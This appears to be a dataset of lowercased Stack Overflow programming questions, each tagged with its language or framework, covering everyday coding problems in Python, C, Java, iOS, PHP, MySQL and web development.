writing all the values of a dictionary in columns  i have a dictionary in which each key has list as a value. the thing is  number of elements of each list is different for each key. instead of writing as rows using csv  i am writing them in columns. lets say the format of the dictionary is as below:     <pre><code>mydict = { cli1 :[ 9   1 ]   cli2 :[ 6   8   4 ]   cli3 :[ 7 ]}   </code></pre>   i wanted to print in a .csv file in the following fashion:     <pre><code>cli1    cli2    cli3 9       6       7   1       8         4    </code></pre>   i wrote the following program to accomplish the task:     <pre><code>with open( pdudictout.csv   wb ) as file:     writer = csv.writer(file  delimiter= \t )     writer.writerow(mydict.keys())     for row in zip(*mydict.values()):             writer.writerow(list(row)) file.close()   </code></pre>   but this program is giving me the below output:     <pre><code> cli1    cli2    cli3   9       6       7     </code></pre>   my program is taking the key with minimum number of items in its list and its giving me the same number of elements for all the keys. how can i change the program to generate the output like i wanted. thanks in advance. help is very much appreciated. btw i am using python 2.6.,python
when i set the ringermode to ringer_mode_silent  the phone still vibrates and the icon in the menu is set to the  vibrate  icon  when i execute this code:   <pre><code>maudiomanager.setringermode(audiomanager.ringer_mode_silent ); </code></pre>   the icon in my menubar on top is set to the vibrate icon and the vibrate setting is set to vibrate and not to silent.    what i expect from  silent  is no-vibrate  no-sound.    it s on my phone on android 4.4.4,android
not able to identify currently running class while running .war file  i am having .war file which i am running  but i am not able to identify which class is currently running  ....   can any one give suggestion for this:- how to identify currently running class,java
how to set detect with draggable function   how to set detect with draggable function  when check the box the draggable function still not work.    <a href= http://jsfiddle.net/kpnrc/  rel= nofollow >http://jsfiddle.net/kpnrc/</a>    html   <pre><code>&lt;div class= drag  style= width:100px; height:100px; background:blue; &gt;&lt;/div&gt; lock:&lt;input name= lock  id= lock  type= checkbox  value= 0  /&gt; </code></pre>   js    <pre><code>if($( #lock ).is( :checked ) == true){      $( .drag ).draggable();  } </code></pre>,jquery
how can i make a checkbox inside a selectbox   i would love to make a select box  which has checkboxes inside. something like this:   <pre><code>&lt;form&gt;   &lt;select name= cars &gt;     &lt;option value= volvo &gt;&lt;input type= checkbox  name= volvo &gt;volvo xc90&lt;/option&gt;     &lt;option value= saab &gt;&lt;input type= checkbox  name= saab &gt;saab 95&lt;/option&gt;     &lt;option value= mercedes &gt;&lt;input type= checkbox  name= mercedes &gt;mercedes slk&lt;/option&gt;     &lt;option value= audi &gt;&lt;input type= checkbox  name= audi &gt;audi tt&lt;/option&gt;   &lt;/select&gt;   &lt;input type= submit  value= submit &gt; &lt;/form&gt; </code></pre>   is this possible  it is not for multiple selection. it means the selected value is independent from the checkboxes.,html
quick javascript help about switch case  hey basically i was wondering if it was possible to put the attribute of an object as a condition in the switch case. something like this.   <pre><code>function person (age name){ this.age = age this.name = name  }  var person1 = new person(22  ken ) var person2 = new person(42  ben ) var person3 = new person(62  len )   switch(the attribute here lets say it was age for example){   case person1: do something;    basically age for person1 do this age for person 2 do this etc. break; case person2: do something; break; case person3: do something; break; } </code></pre>   sorry if this is unclear i m really new in javascript and i was wondering of something of this sort was possible.,javascript
mlpushmenu : custom implementation of _openmenu method  i am using mlpushmenu jquery plugin. i wanted to maintain state of last visited after collapse or redirected. please help me out.,jquery
access to the method without static  i have 2 class  class b and a   <pre><code>public class b    private car fiat;    public boolean trueorfalse() {     return fiat.methodfromclasscar();   } </code></pre>   in class a i want to use this result from this boolean  something like:   <pre><code>public class a    public int xyz(){     if (trueorfalse()==true){      dosomething();      }    } </code></pre>   always i making static all  but now i cant do this. is there better way      create a new object in class a:   <pre><code>car cr = new car(); </code></pre>   and then using   <pre><code>cr.trueorfalse(); </code></pre>   is good way   but what i code wrong here,java
how to avoid error messagebox if .net is not installed on client system  i have a c# application which request .net 2 on client system. i like to replace the error message box in case if .net2 is not detected with ruuning an executable program which i have a written how do not request .net2.    edited a solution can be found at <a href= http://improve.dk/blog/2007/06/10/creating-a-dotnet-bootstrapped-installer-using-nsis  rel= nofollow noreferrer >url</a>,.net
how do i make forms in html with fields that change based on other field values  i have to quickly make a form that has optional menus depending on the value of other fields. i couldn t find anything in plain html on that. is that possible to do with only html,html
what to type in asp.net when you want to make sure that a button is clicked  i don t seem to know how to correctly write bn_pwd.click and to make it work. please help me.   <pre><code>protected void bn_pwd_click(object sender  eventargs e)        {        if (bn_pwd.click == true)             {                 lb_showpwd.visible = true;                 tb_spwd.visible = true;                 lb_showcfmpwd.visible = true;                 tb_scfmpwd.visible = true;             }         else         {             lb_showpwd.visible = false;             tb_spwd.visible = false;             lb_showcfmpwd.visible = false;             tb_scfmpwd.visible = false;         }     } </code></pre>,asp.net
assigning a value to id doesn t stick  i m reading a plist from a file and want to set a number of properties to the values from the file  but only if they re not nil  so i came up with a little method  but it doesn t work as expected:   <pre><code>- (void)assignnonnullvalue:(id)value to:(id)target {     if (value) {         target = value;         nslog(@ new value = %@   target);     } }  // ...      nsstring *foo = @ a ;     [self assignnonnullvalue:@ b  to:foo];     nslog(@ foo=%@   foo); </code></pre>   i was expecting the following output:   <pre><code>new value = b foo=b </code></pre>   but instead i got:   <pre><code>new value = b foo=a </code></pre>   why,objective-c
error: variable-sized object may not be initialized|  my code as bellow:   <pre><code>const size_t num_p = 100; int main (viod) {    char *ps[num_p] = { null};            /* array of string pointer */    /* other code */ } </code></pre>   my compiler is codeblock  the error will be clear when num_p is changed to digits  such as  12 or 35 ..   i don t know the root cause of the error   or it is my compiler problem.,c
how to use uisearchcontroller ios8.0  the uisearchdisplaycontroller is deprecated in ios8.0    and now i want to use uisearchcontroller to implement a location search app    i want to implement the search suggestion list after user type some words in the search bar.    so far i have already completed the suggestion result from the server but i don t know how to display it.    the app gets a search suggestion result everytime in    <pre><code>-(void)searchbar:(uisearchbar *)searchbar textdidchange:(nsstring *)searchtext </code></pre>   and i store the result in to resultarray. but how can i show the result on screen  after i assigned a tableview to the <i>searchresultscontroller.view</i> property  the result list still cannot be shown    many thanks,ios
using nsset/nsmutableset to filter objects   i have seen some questions/answers regarding filter objects by using nsset/nsmutableset. those cases use simple type of objects such as <code>nsstring</code> or <code>int</code>. the following is an example of codes used to filter <code>nsstring</code> objects:   <pre><code>nsset smallarray = [[nsset alloc] initwithobjects:@ 0   @ 1   @ 2   nil]; nsarray bigarray = [[nsarray alloc] initwithobjects:@ 0   @ 1   @ 4   @ 5   ...  nil]; nsmutableset *intersection = [nsmutableset setwitharray:smallarray]; [intersection intersectset:[nsset setwitharray:bigarray]; nsarray *result = [nsarray arraywithset:intersection]; </code></pre>   i am not sure how it works if objects in set or array are object-c class instances. take the following class as example:   <pre><code>@interface myobject: nsobject {    int id;    nsstring *name;    nsstring *city;    ... } </code></pre>   i am not sure how set s intersetset: works with above type objects. if i want to get intersect set of smallarray of <code>myobject</code> objects and bigarray by only comparing id  i doubt if i can use <code>intersetset:</code> selector method  if not  not sure if i should add any method to <code>myobject</code> class so that set knows how to compare objects,objective-c
c read line as string <pre><code>char *word[128]; fgets(word  128  stdin); if(word ==  hello )     printf( you entered hello as your word. );  </code></pre>   so basically i am trying to get user input as a string and then use the following comparison so see if the string the user entered is equal to  hello . however  when compiling this code  it doesn t work. what did i do wrong     edit: so based on feedback so far this is what i have:   <pre><code>char word[128]; fgets(word  128  stdin); if(strcmp(word   hello ) == 0)      printf( match\n ); </code></pre>   however  when i compile and run this program and enter hello it does not print  match .,c
generic map of function pointers. is possible  any alternatives   i d want to know if it s possible to create a map with several function pointers members of an object.     is this possible  this methods could have different return type or input arguments.    if not  (i suppose this reading a lot of related topics)  i d want the typical manner this can be done  for example in a gui  if you change some parameter and then you have to call one setter or another  depending in what textbox you have changed.     is there any design pattern to do this without using an giant if/else estructure     thanks in advance!,c++
how to get url for application s document directory iphone  this code is a part of core data. the urlsfordirectory....method does not run on ios &lt; 4 so i need to know some other methods/objects to call. i would also appriciate documentation for future reference. thank you   <pre><code>/**  returns the url to the application s documents directory. */ - (nsurl *)applicationdocumentsdirectory {     return [[[nsfilemanager defaultmanager] urlsfordirectory:nsdocumentdirectory indomains:nsuserdomainmask] lastobject]; } </code></pre>,iphone
convert hexadecimal to bytes in python  i  want  to display the  number   <pre><code>0x40000000 </code></pre>   as   <pre><code>01000000 00000000 00000000 00000000 </code></pre>   with the  leading 0 and formatting above,python
mysql + count all words in a column  i have 2 columns in a table and i would like to  ruffly  report on the total number of words. is it possible to run a mysql query and find out the total number of words down a column.    it would basically be any text separated by a space or multiple space. doesn t need to be 100% accurate as its just a general guide.    possible     thx,mysql
multiple errors for not finding columns and tables in database  i just started working with mysql last week  and i m attempting to write a code to check for the earliest instance of a billing record for a certain address and mark it as  new . it should also identify if an account has since been cancelled and mark the first instance of a cancelled record as  new . the code compiles  but whenever i try to test it by inputting an address  i receive  error code: 1054. unknown column  billingrecords.address  in  where clause   i feel like i ve tried every fix for the column references under the sun (with/without backticks  single quotes  database names  table names  etc.) how exactly should i be referencing the columns in the code to avoid this error  also  since i haven t been able to test it properly  there may be a few other errors in the code. if you notice anything  i d really appreciate some feedback.    the columns i am using are: address varchar(145)    yes mul null  cancel varchar(45)      yes     null  date   date             yes     null    i hope it s alright to repost this question. i have yet to get the code working. original thread <a href= https://stackoverflow.com/questions/31186758/error-1054-unknown-column-in-where-clause >here.</a>   <h1>code in question</h1>  <pre><code>select min(`date`) into earliestdate from billing.billingrecords where `address` = addresstocheck; #determines the earliest date of all instances of the specified address select min(`date`) into earliestcanceldate from billing.billingrecords where `address` = addresstocheck and `cancel` =  cancelled ; #determines the earliest date of all instances of the specified address where the account has been marked as  cancelled   case     when `billingrecords`.`address` = addresstocheck and `billingrecords`.`date` = earliestdate then         set isitnew =  new ; #returns  new  if the address matches the specified address and the date matches the earliest date     when `billingrecords`.`address` = addresstocheck and `billingrecords`.`date` != earliestdate then         set isitnew =  old ; #returns  old  if the address matches the specified address and the date does not match the earliest date     else         set isitnew = null; end case;   case         when `billingrecords`.`address` = addresstocheck and `billingrecords`.`date` = earliestcanceldate and `billingrecords`.`cancel` =  cancelled  then         set isitnewcancel =  new ; #returns  new  if the address matches the specified address  the account is marked as  cancelled   and the date matches the earliest cancel date     when `billingrecords`.`address` = addresstocheck and `billingrecords`.`date` != earliestcanceldate and `billingrecords`.`cancel` =  cancelled  then         set isitnewcancel =  old ; #returns  old  if the address matches the specified address  the account is marked as  cancelled   and the date does not match the earliest date     else         set isitnewcancel = null; end case; </code></pre>,mysql
device id vs. development device id   what is the difference between device id and development device id  please take note that device id is different from android id and telephony device id. also  how do i get the value of both device id and development device id programmatically,android
why is it that using the assignment operator inside an if not causing an error   i am learning the basics of c-language and i did not understand how this code is working  it should give an error because i am using an assignment operator instead of using equal to (==) in the <strong>if block</strong>   <pre><code>   #include&lt;stdio.h&gt; int main() {     int i=4;     if(i=5){         printf( yup );     }     else     printf( nope ); } </code></pre>,c
what is the best way to have a background be 4 equally sized images   i m looking for the simplest way to have 4 images take up 25% each of my background,html
i get values from arraylist and bind these values to dynamic tablerow  i get values from arraylist and bind these values to dynamic tablerow.    i follow this link  <a href= https://stackoverflow.com/questions/19402140/how-to-bind-data-from- >how to bind data from arraylist to tablelayout in android </a>    arraylist-to-tablelayout-in-android .     my code :   <pre><code> arraylist&lt;setattendance&gt; lst= (arraylist&lt;setattendance&gt;)getintent().getserializableextra( shahid );          for(int i=0;i&lt;lst.size();i++)     {         tablerow row=new tablerow(this); //table row:     tablerow.layoutparams lp = new  tablerow.layoutparams(tablerow.layoutparams.wrap_content);     row.setlayoutparams(lp);       @suppresswarnings( unchecked )      //@suppresswarnings( unchecked )      arraylist&lt;setattendance&gt; att=(arraylist&lt;setattendance&gt;)lst.get(i);      //the above line gives an error .cannot cast from setattendance to  arraylist&lt;setattendance&gt;      textview tv0=new textview(this);     tv0.settextsize(10);     tv0.settext(att.get(0).tostring());     row.addview(tv0);      textview tv1=new textview(this);     tv1.settextsize(10);     tv0.settext(att.get(1).tostring());     row.addview(tv1);      textview tv2=new textview(this);     tv2.settextsize(10);     tv0.settext(att.get(2).tostring());     row.addview(tv2);       textview tv3=new textview(this);     tv3.settextsize(10);     tv0.settext(att.get(3).tostring());     row.addview(tv3);      textview tv4=new textview(this);     tv4.settextsize(10);     tv0.settext(att.get(4).tostring());     row.addview(tv4);      textview tv5=new textview(this);     tv5.settextsize(10);     tv0.settext(att.get(5).tostring());     row.addview(tv5);       tl.addview(row);      } </code></pre>   setattendance:    public class setattendance implements serializable {   <pre><code>string subject; int monday; int tuesday; int wedday; int thursday; int friday; public string getsubject() {     return subject; } public void setsubject(string subject) {     this.subject = subject; } public int getmonday() {     return monday; } public void setmonday(int monday) {     this.monday = monday; } public int gettuesday() {     return tuesday; } public void settuesday(int tuesday) {     this.tuesday = tuesday; } public int getwedday() {     return wedday; } public void setwedday(int wedday) {     this.wedday = wedday; } public int getthursday() {     return thursday; } public void setthursday(int thursday) {     this.thursday = thursday; } public int getfriday() {     return friday; } public void setfriday(int friday) {     this.friday = friday; }   @override  public string tostring()  {        return  getsubject()+getmonday()+gettuesday()+getwedday()+getthursday()+getfriday();                   } </code></pre>   },android
checkbox inside gridview in asp.net  i am using checkbox in a gridview:   <pre><code>&lt;asp:templatefield&gt;     &lt;headertemplate&gt;         &lt;asp:checkbox id= chkhdr  runat= server  autopostback= true   /&gt;     &lt;/headertemplate&gt;     &lt;itemtemplate&gt;          &lt;asp:checkbox cssclass= gridrownormal3  id= chkchild  runat= server  /&gt;                               &lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; </code></pre>   button click for binding grid:   <pre><code> protected void button1_click(object sender  eventargs e)  {      /*       * clear all data in grid by calling empty_gridview       * */       if (this.isvalid)       {            empty_gridview(grddoclist_summary);            list&lt;searchengineeo&gt; doc = docs;            var query18 = (from c in doc                            select new { c.docno  c.doctype  c.title  c.padid                                           c.publishername  c.publisheddate                                            c.rade }).distinct().tolist();            grddoclist_summary.datasource = query18;            grddoclist_summary.databind();       } }  </code></pre>   i select the checkbox at run time  i want to show some details of these rows. i use this code:   <pre><code> for (int i = 0; i &lt; grddoclist_summary.rows.count; i++)  {       gridviewrow row = grddoclist_summary.rows[i];       bool ischecked = ((checkbox)row.findcontrol( chkchild )).checked;        if(ischecked)       {            string str = row.cells[1].text;            docnos.add(str);       }  } </code></pre>   suppose i have 10 rows in <code>grddoclist_summary</code>. when i select one checkbox  for all iteration of for above variable <code>ischecked</code> is true. why does this happen,asp.net
how to add and then extract dll from c# just before the program starts   so i have a simple written program in c# (.exe) but it requires one of dll s to be loaded and extracted into specific or temp folder so the program will load correctly.     what s the easiest way to achieve it,c#
mysql best select multi condition query  i have a mysql query:    <pre><code>select * from product_variants where (bottom_type =  $bottom_type1  or bottom_type =  $bottom_type2  ) and (bottom_size =  $bottom_size   ) and (product_id !=  $product_id1   or product_id !=  $product_id2  or product_id !=  $product_id3 )  </code></pre>   it is not working as it should  its not giving me the results needed. what is the best way to build it   thanks,mysql
how to line up radio buttons and text  i have added    <pre><code>.form-radio{ display: block; } </code></pre>   to make my radio buttons be one under the other   instead of next to each other.  but now the text associated with each button is coming out underneath as well.  i want the text for each radio to be next to the radio button.    this is the html:    <pre><code>&lt;div class= form-item form-type-radio form-item-submitted-contactus-question-type-label-contactus-question-type &gt;  &lt;input id= edit-submitted-contactus-question-type-label-contactus-question-type-1  name= submitted[contactus_question_type_label][contactus_question_type]  value= &amp;quot;general  class= form-radio  type= radio &gt;    &lt;label class= option  for= edit-submitted-contactus-question-type-label-contactus-question-type-1 &gt;general  questions about student aid or about your own student aid situation  including your student loans or questions/comments about any website content.  &lt;/label&gt;  &lt;/div&gt;   &lt;div class= form-item form-type-radio form-item-submitted-contactus-question-type-label-contactus-question-type &gt;  &lt;input id= edit-submitted-contactus-question-type-label-contactus-question-type-2  name= submitted[contactus_question_type_label][contactus_question_type]  value= &amp;quot;technical  class= form-radio  type= radio &gt;    &lt;label class= option  for= edit-submitted-contactus-question-type-label-contactus-question-type-2 &gt;technical question  questions or comments about our website (such as a broken link or something else not working properly).  &lt;/label&gt;     &lt;/div&gt; </code></pre>   thank you for your help,css
how can i calculate the memory of an object take in ios  how can i calculate the memory an object takes in ios,ios
is there a lemmatizer for php   does anyone know of a <a href= http://en.wikipedia.org/wiki/lemmatisation  rel= nofollow >lemmatizer</a> in php  or  at worst  some way to use a lemmatizer in another language (python nltk  for instance ) in a php webapp      i m building <a href= http://jonreeve.com/dev/etym/etym.php  rel= nofollow >a macro-etymological analyzer</a> and i ve encountered this issue where the etymological database doesn t contain conjugated words. a lemmatizer would correct this  i think  by giving me the word  say  when the dictionary can t find  said   and returning  good  when the dictionary can t find  better   etc.     note: a stemmer wouldn t do the same thing as a lemmatizer.,php
how to  list  text in columns in ios   basically  i wish to list some text like so  in a column view:   <pre><code>item        colour       quantity glasses     black        3 </code></pre>   it s not for user-input  more towards the user reading it. i know this can be accomplished via the use of labels  however  this does tend to get tedious. i have the text written up in a word document  tried to copy and paste it into a uitextview and mess around with the attributes  i get 99% close however the last  column  seems to always give me an issue.    can anyone potentially shed some light onto how i can do this with ease      p.s- i will probably have 10  lists  each different.,ios
how much memory does malloc really allocating  <pre><code>#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; #include&lt;conio.h&gt;  main() {     int *ptr i;     ptr=(int*)malloc(sizeof(int));     printf( sizo of ptr is:%d  sizeof(ptr));      for(i=0;i&lt;30;i++)         scanf( %d  ptr+i);      for(i=0;i&lt;30;i++)         printf( %d  *(ptr+i));      getch(); } </code></pre>   here size of ptr is:4 my question is  i suppose to be store only one integer in ptr but here in this program i could store more than 30 or 100 etc  why it is not throwing an error,c
error: $controller:ctrlreg a controller with this name is not registered service issue  my application is executed successfully without <code>maninsvc.js</code>. after adding this file i m seeing errror:   <pre><code>angular.min.js:123 error: [$controller:ctrlreg] http://errors.angularjs.org/1.6.5/$controller/ctrlreg p0=maincontroller at angular.min.js:7 </code></pre>   my code:    index.html   <pre><code>&lt;!doctype html&gt; &lt;html ng-app= app &gt;  &lt;head&gt;   &lt;title&gt;&lt;/title&gt;   &lt;script src= scripts/jquery-3.2.1.min.js &gt;&lt;/script&gt;   &lt;script src= scripts/bootstrap-3.3.7/js/bootstrap.min.js &gt;&lt;/script&gt;   &lt;script src= scripts/angular.min.js &gt;&lt;/script&gt;   &lt;script src= scripts/angular-route.min.js &gt;&lt;/script&gt;   &lt;script src= scripts/angular-resource.min.js &gt;&lt;/script&gt;    &lt;link href= scripts/bootstrap-3.3.7/css/bootstrap.min.css  rel= stylesheet  /&gt;   &lt;link href= css/shared.css  rel= stylesheet  /&gt;    &lt;script src= maincontroller.js &gt;&lt;/script&gt;   &lt;script src= mainsvc.js &gt;&lt;/script&gt; &lt;/head&gt;  &lt;body ng-controller= maincontroller as vm &gt;    &lt;div data-ng-if= vm.success  class= success &gt;{{vm.success}}&lt;/div&gt;   &lt;div data-ng-if= vm.catch  class= catch &gt;{{vm.catch}}&lt;/div&gt;   &lt;div data-ng-if= vm.finally  class= finally &gt;{{vm.finally}}&lt;/div&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   maincontroller.js   <pre><code>(function() {   angular     .module( app   [ ngroute ])     .controller( maincontroller   maincontroller);   maincontroller.$inject = [ mainsvc ];    function maincontroller(mainsvc) {     var vm = this;     mainsvc.getdata()       .then(function(data) {       vm.success =  success ;     }).catch(function(response) {       vm.catch =  catch ;     }).finally(function() {       vm.finally =  finally ;     });   } })(); </code></pre>   mainsvc.js   <pre><code>(function() {   angular     .module( app   [])     .factory( mainsvc   mainsvc);   mainsvc.$inject = [ $resource ];    function mainsvc($resource) {     var resourcedata = $resource({       query: {         isarray: true       }        get: {}        save: {         method:  post        }        update: {         method:  patch        }        put: {         method:  put        }        remove: {         method:  delete        }     });     return {       getdata: getdata      };      function getdata() {       /// &lt;summary&gt;       /// gets data       /// &lt;/summary&gt;       return resourcedata         .get()         .$promise;     }   } })(); </code></pre>,angularjs
copying image file  i m uploading an image file  copying it  resizing it  then moving the original file and resizing it!    i ve written the following function  i know there s a lot of room to tidy the code up etc.   <pre><code>public function useimage($image  $photoid){      $source = $image[ tmp_name ];     $target =  projectimages/ ;      //prepare the largest image      copy($source  $target);     $targetname = $photoid. large.jpg ;     $file = $target.$targetname;      list($width  $height) = getimagesize($file);      $modwidth = 800;      $diff = $width / $modwidth;      $modheight = $height / $diff;     $tn = imagecreatetruecolor($modwidth  $modheight);     $image = imagecreatefromjpeg($file);     imagecopyresampled($tn  $image  0  0  0  0  $modwidth  $modheight  $width  $height);      imagejpeg($tn  $file  100);      //prepare the smaller image      move_uploaded_file($source  $target);     $targetname = $photoid. small.jpg ;     $file = $target.$targetname;      list($width  $height) = getimagesize($file);      $modwidth = 400;      $diff = $width / $modwidth;      $modheight = $height / $diff;     $tn = imagecreatetruecolor($modwidth  $modheight);     $image = imagecreatefromjpeg($file);     imagecopyresampled($tn  $image  0  0  0  0  $modwidth  $modheight  $width  $height);      imagejpeg($tn  $file  100);  } </code></pre>   i m getting plenty of errors but the crucial one that the others are built upon is the first one when i try and copy or move the uploaded file...   <pre><code>warning: copy(projectimages/) [function.copy]: failed to open stream: is a directory in /applications/mamp/htdocs/bs/classes/image.php on line 171 </code></pre>   i ve used var_dump on image and it appears the image is in place.    any ideas,php
what name put in attribute for of label  i have the following markup:   <pre><code>&lt;label&gt;date of birth:&lt;/label&gt; &lt;select id= day &gt;   &lt;option&gt;day&lt;/option&gt; &lt;/select&gt; &lt;select id= month &gt;   &lt;option&gt;month&lt;/option&gt; &lt;/select&gt; &lt;select year= year &gt;   &lt;option&gt;year&lt;/option&gt; &lt;/select&gt; </code></pre>   and i don t know exactly what to put in the for attribute of label.,html
function pointer usage in c <pre><code>#include&lt;stdio.h&gt; struct file{         int a;         int b;         int (*fp) (int  int);         }; static int sum(int a  int b) {         return(a+b); } void main() {         struct file var;           int sum1=0;          var.fp=&amp;sum;         sum1=fp(2 4);         printf( \nsum is  %d   sum1); } </code></pre>   how to call the function..   i am getting an error called as undefined reference to fp..,c
split number into 4 random numbers  i want to split <code>10</code> into an array of 4 random numbers  but neither can be <code>0</code> or high then <code>4</code>. for example <code>[1 2 3 4]</code>  <code>[1 4 4 1]</code> or <code>[4 2 3 1]</code>.    i think it s an easy question  but for some reason i can t think of how to do this. if someone has some instruction that would be very helpful!    edit: this is the code i have now  but i generates also a total number under 10:   <pre><code>  let formation = [];   let total = 0;     for (let i = 0; i &lt; 4; i ++) {     if (total &lt; 9) {       formation[i] = math.floor(math.random() * 4) + 1;      } else {       formation[i] = 1;     }   } </code></pre>,javascript
when can i add new device after renewing my apple developer program  i have reached maximum devices(100 devices) to add to my developer account. right now i have an urgent requirement to add a new device. my developer program expires in next month. i came to know that we can renew 60 days before actual expiration date. if i renew my developer account today. can i get a chance to add new devices.    i know that i have to remove all the unwanted devices before adding new device. my main question is  <strong>can i get a chance to add new device immediately after renewing my developer program</strong> .,ios
call static method in another class library  how to call static method in another class library  because i created 2 class library common and another call dal  and i already add commmon dll reference in my dal class library  after that i cannot find out my method name. isn t got other method to solve it      class library : common    <pre><code>using system;      namespace common     {         public class log         {             public static bool error(exception ex)             {                 return true;             }         }     } </code></pre>   class library : dal   <pre><code>using common using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace dal {     public class menud     {         log.;     } } </code></pre>,c#
submit list of objects in php form  i am trying to use a form to post multiple of the same object in php  but i can t get my head around a decent approach. being a c# developer  i would have my controller take in a list  but with php i can t work out quite how to do it.    <strong>example form</strong>    person: anne frank<br> subject: english<br> grade: a    person: steven seagull<br> subject: maths<br> grade: c    person: jeff banks<br> subject: english<br> grade: f   <hr>   essentially i have a list  which has a select list  and a free text field  i want to be able to update and insert into the database with one submit.    any suggestions for how i can approach this,php
how to add flip screen animation on button click programmatically  i want to flip the view on button click programmatically.,iphone
json parsing failed   i am writing the code using  nsstring + sbjson  as follows.   <pre><code>_responsedata = [nsmutabledata data];  nsstring *stringofrequest=[nsstring stringwithformat:@ %@linkasset linked1=%@&amp;linked2=%@&amp;userid=%@  service_url linkasset linkasset2 app._userid]; nsmutablestring * _req = [nsmutablestring stringwithformat:@ %@  stringofrequest]; [_req  stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]; _requestforurl = [nsurlrequest requestwithurl:                   [nsurl urlwithstring:                    [_req  stringbyaddingpercentescapesusingencoding:nsutf8stringencoding]]]; _nsurlconnection=[[nsurlconnection alloc] initwithrequest:_requestforurl delegate:self]; </code></pre>   im getting the error.   <pre><code> -jsonvalue failed. error trace is: (  error domain=org.brautaset.json.errordomain code=4 \ valid fragment  but not json\  userinfo=0x797f17d0 {nslocalizeddescription=valid fragment  but not json} ) </code></pre>   in my code if i am giving another json string than it is working. and also my original json string is giving me the data in browser. so what to do     my getting the response code    <pre><code> nsstring *responsestring = [[nsstring alloc] initwithdata:responsedata encoding:nsutf8stringencoding];      responsedata= nil;    productarray = [responsestring jsonvalue];     nslog(@ product array %@   productarray); </code></pre>   every time im getting the same issue.,objective-c
is there a parameter to make my app keeping status a while in memory   is there a parameter to make my app keeping status a while in memory     now if i press the home button  it will exit fully. if i run the app again  it will restart.    i prefer the app keeping status a while in memory,ios
the system cannot find the file specified classes  my website is working offline  but online it gives me the follwing error.  we already worked around sql  because it could be db-problem  there is a reference to a class  and this class is to get to the database.  it s this exercise: <a href= https://code.msdn.microsoft.com/getting-started-with-221c01f5#content  rel= nofollow noreferrer >https://code.msdn.microsoft.com/getting-started-with-221c01f5#content</a>    <strong>the system cannot find the file specified description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.  exception details: system.componentmodel.win32exception: the system cannot find the file specified source error:  an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below. stack trace:  [win32exception (0x80004005): the system cannot find the file specified] [sqlexception (0x80131904): a network-related or instance-specific error occurred while establishing a connection to sql server. the server was not found or was not accessible. verify that the instance name is correct and that sql server is configured to allow remote connections. (provider: sql network interfaces  error: 52 - unable to locate a local database runtime installation. verify that sql server express is properly installed and that the local database runtime feature is enabled.)]</strong>    **   <blockquote>    system.data.sqlclient.sqlinternalconnectiontds..ctor(dbconnectionpoolidentity   identity  sqlconnectionstring connectionoptions  sqlcredential   credential  object providerinfo  string newpassword  securestring   newsecurepassword  boolean redirecteduserinstance  sqlconnectionstring   userconnectionoptions  sessiondata reconnectsessiondata    dbconnectionpool pool  string accesstoken  boolean   applytransientfaulthandling) +821<br>   system.data.sqlclient.sqlconnectionfactory.createconnection(dbconnectionoptions   options  dbconnectionpoolkey poolkey  object poolgroupproviderinfo    dbconnectionpool pool  dbconnection owningconnection    dbconnectionoptions useroptions) +332<br>   system.data.providerbase.dbconnectionfactory.createpooledconnection(dbconnectionpool   pool  dbconnection owningobject  dbconnectionoptions options    dbconnectionpoolkey poolkey  dbconnectionoptions useroptions) +38<br>   system.data.providerbase.dbconnectionpool.createobject(dbconnection   owningobject  dbconnectionoptions useroptions  dbconnectioninternal   oldconnection) +699<br>   system.data.providerbase.dbconnectionpool.usercreaterequest(dbconnection   owningobject  dbconnectionoptions useroptions  dbconnectioninternal   oldconnection) +89<br>   system.data.providerbase.dbconnectionpool.trygetconnection(dbconnection   owningobject  uint32 waitformultipleobjectstimeout  boolean   allowcreate  boolean onlyonecheckconnection  dbconnectionoptions   useroptions  dbconnectioninternal&amp; connection) +426<br>   system.data.providerbase.dbconnectionpool.trygetconnection(dbconnection   owningobject  taskcompletionsource<code>1 retry  dbconnectionoptions   useroptions  dbconnectioninternal&amp; connection) +78<br>   system.data.providerbase.dbconnectionfactory.trygetconnection(dbconnection   owningconnection  taskcompletionsource</code>1 retry  dbconnectionoptions   useroptions  dbconnectioninternal oldconnection  dbconnectioninternal&amp;   connection) +191<br>   system.data.providerbase.dbconnectioninternal.tryopenconnectioninternal(dbconnection   outerconnection  dbconnectionfactory connectionfactory    taskcompletionsource<code>1 retry  dbconnectionoptions useroptions) +154<br>   system.data.providerbase.dbconnectionclosed.tryopenconnection(dbconnection   outerconnection  dbconnectionfactory connectionfactory    taskcompletionsource</code>1 retry  dbconnectionoptions useroptions) +21<br>   system.data.sqlclient.sqlconnection.tryopeninner(taskcompletionsource<code>1   retry) +90<br>   system.data.sqlclient.sqlconnection.tryopen(taskcompletionsource</code>1   retry) +217    system.data.sqlclient.sqlconnection.open() +96<br>   system.data.entity.infrastructure.interception.dbconnectiondispatcher.b__36(dbconnection   t  dbconnectioninterceptioncontext c) +10<br>   system.data.entity.infrastructure.interception.internaldispatcher<code>1.dispatch(ttarget   target  action</code>2 operation  tinterceptioncontext interceptioncontext    action<code>3 executing  action</code>3 executed) +72<br>   system.data.entity.infrastructure.interception.dbconnectiondispatcher.open(dbconnection   connection  dbinterceptioncontext interceptioncontext) +360<br>   system.data.entity.sqlserver.&lt;>c__displayclass33.b__32()   +426    system.data.entity.sqlserver.&lt;>c__displayclass1.b__0() +10<br>   system.data.entity.sqlserver.defaultsqlexecutionstrategy.execute(func<code>1   operation) +189<br>   system.data.entity.sqlserver.defaultsqlexecutionstrategy.execute(action   operation) +78<br>   system.data.entity.sqlserver.sqlproviderservices.usingconnection(dbconnection   sqlconnection  action</code>1 act) +175<br>   system.data.entity.sqlserver.sqlproviderservices.usingmasterconnection(dbconnection   sqlconnection  action<code>1 act) +556<br>   system.data.entity.sqlserver.sqlproviderservices.createdatabasefromscript(nullable</code>1   commandtimeout  dbconnection sqlconnection  string   createdatabasescript) +86<br>   system.data.entity.sqlserver.sqlproviderservices.dbcreatedatabase(dbconnection   connection  nullable<code>1 commandtimeout  storeitemcollection   storeitemcollection) +164<br>   system.data.entity.core.common.dbproviderservices.createdatabase(dbconnection   connection  nullable</code>1 commandtimeout  storeitemcollection   storeitemcollection) +76<br>   system.data.entity.core.objects.objectcontext.createdatabase() +134<br>   